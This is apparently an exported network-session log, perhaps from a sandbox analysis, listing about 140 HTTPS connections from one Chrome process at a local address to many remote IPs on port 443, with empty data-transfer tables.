Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.4	50377	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.4	50434	23.105.12.143	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.4	50440	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.4	50457	35.186.253.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.4	50441	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.4	50444	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.4	50436	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.4	50443	54.84.169.242	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.4	50446	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.4	50442	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.4	50448	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.4	50445	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.4	50454	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.4	50474	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.4	50459	142.251.163.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.4	50462	38.98.69.175	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.4	50438	104.16.112.121	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.4	50475	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.4	50449	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.4	50447	147.135.119.115	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.4	50439	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.4	50461	34.96.105.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.4	50477	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.4	50452	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.4	50458	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.4	50468	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.4	50473	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.4	50450	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.4	50464	34.203.68.24	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.4	50437	104.16.112.121	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.4	50456	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.4	50465	31.220.27.135	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.4	50481	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.4	50453	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.4	50469	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.4	50451	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.4	50471	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.4	50476	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.4	50467	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.4	50492	35.190.39.111	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.4	50490	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.4	50488	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.4	50487	141.95.98.64	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.4	50484	192.0.78.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.4	50489	3.222.196.53	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.4	50496	35.244.159.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.4	50491	18.207.42.67	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.4	50499	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.4	50500	107.178.254.65	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.4	50494	151.101.65.44	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.4	50495	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.4	50479	35.211.233.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.4	50466	3.223.97.57	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.4	50502	150.136.25.38	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.4	50485	162.55.236.225	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.4	50470	44.199.161.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.4	50478	35.241.45.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.4	50483	162.55.236.225	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.4	50503	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.4	50504	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.4	50083	15.197.193.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.4	50506	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.4	50509	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.4	50514	74.121.140.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
624	192.168.2.4	50507	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
625	192.168.2.4	50511	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
626	192.168.2.4	50510	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
627	192.168.2.4	50512	18.238.49.99	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
628	192.168.2.4	50513	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
629	192.168.2.4	50508	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
630	192.168.2.4	50518	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
631	192.168.2.4	50520	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
632	192.168.2.4	50515	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
633	192.168.2.4	50521	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
634	192.168.2.4	50526	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
635	192.168.2.4	50519	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
636	192.168.2.4	50530	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
637	192.168.2.4	50123	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
638	192.168.2.4	50557	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
639	192.168.2.4	50524	51.75.130.31	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
640	192.168.2.4	50528	35.211.233.246	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
641	192.168.2.4	50562	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
642	192.168.2.4	50527	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
643	192.168.2.4	50522	67.220.224.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
644	192.168.2.4	50555	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
645	192.168.2.4	50542	23.83.76.53	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
646	192.168.2.4	50538	192.132.33.69	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
647	192.168.2.4	50531	23.105.12.116	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
648	192.168.2.4	50569	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
649	192.168.2.4	50546	54.204.238.69	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
650	192.168.2.4	50556	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
651	192.168.2.4	50352	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
652	192.168.2.4	50120	8.2.110.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
653	192.168.2.4	50346	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
654	192.168.2.4	50559	35.169.224.111	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
655	192.168.2.4	50529	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.4	50336	68.67.161.208	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.4	50354	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.4	50565	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.4	50548	23.105.12.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.4	50554	146.75.30.132	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.4	50561	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.4	50535	23.105.12.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.4	50573	104.21.80.92	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.4	50540	52.86.126.204	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.4	50633	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.4	50558	34.149.50.64	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.4	50564	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.4	50637	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.4	50523	67.220.224.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.4	50563	8.28.7.82	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.4	50568	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.4	50550	192.184.68.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.4	50648	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.4	50597	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.4	50667	18.238.49.99	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.4	50683	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.4	50649	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.4	50591	8.2.110.17	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.4	50628	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.4	50630	3.225.218.10	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.4	50344	67.202.105.31	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.4	50686	50.16.42.122	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.4	50631	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.4	50668	52.12.180.5	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
685	192.168.2.4	50622	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
686	192.168.2.4	50646	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
687	192.168.2.4	50610	70.42.32.127	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
688	192.168.2.4	50593	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
689	192.168.2.4	50536	23.105.12.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
690	192.168.2.4	50635	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
691	192.168.2.4	50602	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
692	192.168.2.4	50669	184.73.166.124	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
693	192.168.2.4	50587	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
694	192.168.2.4	50583	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
695	192.168.2.4	50609	52.73.182.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
696	192.168.2.4	50659	34.149.247.216	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
697	192.168.2.4	50608	185.184.8.90	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
698	192.168.2.4	50614	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
699	192.168.2.4	50682	162.19.138.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.4	50604	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

